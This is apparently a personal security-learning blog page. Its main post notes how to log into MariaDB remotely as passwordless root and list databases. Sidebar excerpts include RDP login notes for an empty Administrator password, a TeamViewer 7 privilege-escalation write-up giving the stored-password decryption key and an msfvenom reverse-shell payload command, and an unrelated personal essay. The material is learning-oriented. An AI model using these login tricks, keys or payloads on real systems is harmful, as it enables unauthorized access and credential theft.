Skip to main content

MariaDB Remote Login

 

mysql -u root -h <ip>

 

root lets you login without a password, if configured!

 

SHOW DATABASE;

use <database name>;

show tables;

Comments

Popular posts from this blog

Recursion

“So, what’s your number?” he asked me with innocent eyes, contemplating a number low enough to render me virtuous but high enough to guarantee some skill. In other words, n - 1.  I sighed and looked at ceiling. The scene was all too familiar. This time however, I wasn’t with a graduate student. Or an engineer. I was with a DJ.  “One time, I wrote a C program to remove the voice from a sound file,” I said shyly as he leaned in and grazed my earlobe.  Suddenly, he pulled back with disappointment.  “I’m really sorry, but I have to go to my show,” he said as he stuffed his headphones into his backpack. “I’ll see you later.”  The door slammed in the distance. I sighed and hung my head in shame. For I was embarking on the same destructive behavior, watching helplessly as my actions iterated miserably in a never-ending loop. Like recursion, a new romance temps with the promise of a memory address, such as the $user = “girlfriend” string as...

RDP

  What is the name of the tool that we can use to initiate a desktop projection to our host using the terminal?  Answer: xfreerdp   Remember, RDP works for Windows machines. What is the name of the admin account on Windows? It is "Administrator'   You can attempt to RDP to windows machines using this: xfreerdp /v:10.129.1.13 /u:Administrator Press enter when prompted for password (might be poorly configured, and let you use an empty password).   How to use freerdp To install freerdp on Debian, Kali Linux, Linux Mint, Ubuntu and derivatives, run the command: sudo apt install freerdp2-x11 freerdp2-shadow-x11 If the freerdp2-x11 and freerdp2-shadow-x11 packages are not found, look for a package named freerdp . To install freerdp on Arch Linux and derivatives, run the command: 1 sudo pacman -S freerdp How to connect with freerdp command To connect to the remote desktop using xfreerdp , run a command of the form: 1 xfreerdp /f /u :USERNAME...

TeamViewer 7 Privilege Escalation

Hello! Today was a good day. I learned how to exploit a privesc vulnerability in TeamViewer (version 7) which had eluded me for quite some time due to a lack of user-friendly resources available online. But today I am changing all that ;) So basically, TeamViewer 7 stores user passwords encrypted with AES-128-CBC with a key of 0602000000a400005253413100040000 and iv of 0100010067244F436E6762F25EA8D704 in the Windows registry. This means that someone can decrypt that password using that key and iv and use it elsewhere if the user in question made repeated use of their password (as users often do!) Now, the process is doing this manually is complicated but luckily for us, a Metasploit module exists to automate this for us! First. generate a payload with msfvenom like so: $ msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip attacker> LPORT=4444 -f exe > revshell.exe Then move the payload to the machine with PowerShell (remember to move to the file to the ...